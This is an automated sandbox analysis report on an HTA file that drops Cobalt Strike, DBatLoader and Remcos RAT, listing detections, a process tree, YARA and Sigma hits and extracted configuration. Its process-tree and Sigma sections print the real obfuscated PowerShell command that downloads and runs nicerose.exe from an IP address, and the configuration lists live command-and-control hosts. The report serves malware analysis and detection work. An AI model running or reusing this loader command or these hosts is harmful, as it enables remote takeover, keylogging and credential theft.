Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta

Overview

General Information

Sample name:greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta
Analysis ID:1577568
MD5:5590c12b4f62de6de143d675d7681db0
SHA1:e7f0a97a22c0c11336e1cbc37fee2e31adbf01ee
SHA256:3057554d997baa307152ad177f47430aa1b8748f2021c8080cc6876016829b23
Tags:htauser-abuse_ch
Infos:

Detection

Cobalt Strike, Remcos, DBatLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected DBatLoader
Yara detected Remcos RAT
Yara detected obfuscated html page
AI detected suspicious sample
Allocates many large memory junks
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Drops PE files with a suspicious file extension
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
PowerShell case anomaly found
Powershell drops PE file
Queues an APC in another process (thread injection)
Sample is not signed and drops a device driver
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Execution from Suspicious Folder
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Suspicious Creation with Colorcpl
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Abnormal high CPU Usage
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to launch a process as a different user
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match

Classification

Process Tree

  • System is w10x64
  • mshta.exe (PID: 6936 cmdline: mshta.exe "C:\Users\user\Desktop\greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)
    • cmd.exe (PID: 6356 cmdline: "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 6312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2488 cmdline: PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • csc.exe (PID: 4900 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)
          • cvtres.exe (PID: 2860 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDF90.tmp" "c:\Users\user\AppData\Local\Temp\mk3z1vxw\CSCE89B4642338842338CD923B6CF8B4F17.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)
        • nicerose.exe (PID: 6500 cmdline: "C:\Users\user\AppData\Roaming\nicerose.exe" MD5: CCDCD04A0FFDE31366754018598EB02F)
          • cmd.exe (PID: 1276 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 5888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • colorcpl.exe (PID: 5368 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)
  • Emxwenem.PIF (PID: 6384 cmdline: "C:\Users\Public\Libraries\Emxwenem.PIF" MD5: CCDCD04A0FFDE31366754018598EB02F)
    • cmd.exe (PID: 7104 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 1664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • colorcpl.exe (PID: 4940 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)
  • Emxwenem.PIF (PID: 7164 cmdline: "C:\Users\Public\Libraries\Emxwenem.PIF" MD5: CCDCD04A0FFDE31366754018598EB02F)
    • cmd.exe (PID: 708 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 6072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • colorcpl.exe (PID: 3864 cmdline: C:\Windows\System32\colorcpl.exe MD5: DB71E132EBF1FEB6E93E8A2A0F0C903D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://www.maan2u.com/docs/233_Emxwenemixg"]}

Threatname: Remcos

{"Host:Port:Password": ["185.174.103.111:2404:1", "185.174.103.111:2468:1", "apostlejob2.duckdns.org:2468:1", "apostlejob2.duckdns.org:2404:1"], "Assigned name": "Big Money 1", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Rmc-3W4HX7", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "100"}

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
greatindiancompaniesgivenbestgiftforyourhealthgivengoodreturns.htaJoeSecurity_ObshtmlYara detected obfuscated html pageJoe Security

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\ProgramData\remcos\logs.datJoeSecurity_RemcosYara detected Remcos RATJoe Security

      Memory Dumps

      SourceRuleDescriptionAuthorStrings
      0000000A.00000002.4486647741.00000000277FE000.00000004.00000010.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
        00000006.00000003.2160535830.000000007FB00000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security
          0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmpJoeSecurity_RemcosYara detected Remcos RATJoe Security
            0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmpWindows_Trojan_Remcos_b296e965unknownunknown
            • 0x691e0:$a1: Remcos restarted by watchdog!
            • 0x69738:$a3: %02i:%02i:%02i:%03i
            • 0x69abd:$a4: * Remcos v
            0000000A.00000002.4469714299.0000000002810000.00000040.00000400.00020000.00000000.sdmpREMCOS_RAT_variantsunknownunknown
            • 0x641e4:$str_a1: C:\Windows\System32\cmd.exe
            • 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
            • 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
            • 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
            • 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
            • 0x6320c:$str_b2: Executing file:
            • 0x64328:$str_b3: GetDirectListeningPort
            • 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
            • 0x63e30:$str_b7: \update.vbs
            • 0x63234:$str_b9: Downloaded file:
            • 0x63220:$str_b10: Downloading file:
            • 0x632c4:$str_b12: Failed to upload file:
            • 0x642f0:$str_b13: StartForward
            • 0x64310:$str_b14: StopForward
            • 0x63dd8:$str_b15: fso.DeleteFile "
            • 0x63d6c:$str_b16: On Error Resume Next
            • 0x63e08:$str_b17: fso.DeleteFolder "
            • 0x632b4:$str_b18: Uploaded file:
            • 0x63274:$str_b19: Unable to delete:
            • 0x63da0:$str_b20: while fso.FileExists("
            • 0x63749:$str_c0: [Firefox StoredLogins not found]
            Click to see the 30 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            14.2.colorcpl.exe.2480000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
              14.2.colorcpl.exe.2480000.0.raw.unpackWindows_Trojan_Remcos_b296e965unknownunknown
              • 0x691e0:$a1: Remcos restarted by watchdog!
              • 0x69738:$a3: %02i:%02i:%02i:%03i
              • 0x69abd:$a4: * Remcos v
              14.2.colorcpl.exe.2480000.0.raw.unpackREMCOS_RAT_variantsunknownunknown
              • 0x641e4:$str_a1: C:\Windows\System32\cmd.exe
              • 0x64160:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x64160:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR
              • 0x63610:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data
              • 0x63e48:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)
              • 0x6320c:$str_b2: Executing file:
              • 0x64328:$str_b3: GetDirectListeningPort
              • 0x63c08:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject")
              • 0x63e30:$str_b7: \update.vbs
              • 0x63234:$str_b9: Downloaded file:
              • 0x63220:$str_b10: Downloading file:
              • 0x632c4:$str_b12: Failed to upload file:
              • 0x642f0:$str_b13: StartForward
              • 0x64310:$str_b14: StopForward
              • 0x63dd8:$str_b15: fso.DeleteFile "
              • 0x63d6c:$str_b16: On Error Resume Next
              • 0x63e08:$str_b17: fso.DeleteFolder "
              • 0x632b4:$str_b18: Uploaded file:
              • 0x63274:$str_b19: Unable to delete:
              • 0x63da0:$str_b20: while fso.FileExists("
              • 0x63749:$str_c0: [Firefox StoredLogins not found]
              14.2.colorcpl.exe.2480000.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewerdetects Windows exceutables potentially bypassing UAC using eventvwr.exeditekSHen
              • 0x63100:$s1: \Classes\mscfile\shell\open\command
              • 0x63160:$s1: \Classes\mscfile\shell\open\command
              • 0x63148:$s2: eventvwr.exe
              18.2.colorcpl.exe.3200000.0.raw.unpackJoeSecurity_RemcosYara detected Remcos RATJoe Security
                Click to see the 24 entries

                Sigma Signatures

                System Summary

                barindex
                Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
                Source: File createdAuthor: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\nicerose.exe, ProcessId: 6500, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll
                Sigma detected: Execution from Suspicious Folder
                Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\Emxwenem.PIF, NewProcessName: C:\Users\Public\Libraries\Emxwenem.PIF, OriginalFileName: C:\Users\Public\Libraries\Emxwenem.PIF, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , ProcessId: 6384, ProcessName: Emxwenem.PIF
                Sigma detected: Files With System Process Name In Unsuspected Locations
                Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\nicerose.exe, ProcessId: 6500, TargetFilename: C:\Windows \SysWOW64\svchost.exe
                Sigma detected: New RUN Key Pointing to Suspicious Folder
                Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Emxwenem.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\nicerose.exe, ProcessId: 6500, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Emxwenem
                Sigma detected: Parent in Public Folder Suspicious Process
                Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\Public\Libraries\Emxwenem.PIF" , ParentImage: C:\Users\Public\Libraries\Emxwenem.PIF, ParentProcessId: 6384, ParentProcessName: Emxwenem.PIF, ProcessCommandLine: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd, ProcessId: 7104, ProcessName: cmd.exe
                Sigma detected: Suspicious Creation with Colorcpl
                Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\colorcpl.exe, ProcessId: 5368, TargetFilename: C:\Users\user
                Sigma detected: Suspicious MSHTA Child Process
                Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))", CommandLine: "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprT
                Sigma detected: CurrentVersion Autorun Keys Modification
                Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Emxwenem.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\nicerose.exe, ProcessId: 6500, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Emxwenem
                Sigma detected: Dynamic .NET Compilation Via Csc.EXE
                Source: Process startedAuthor: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTs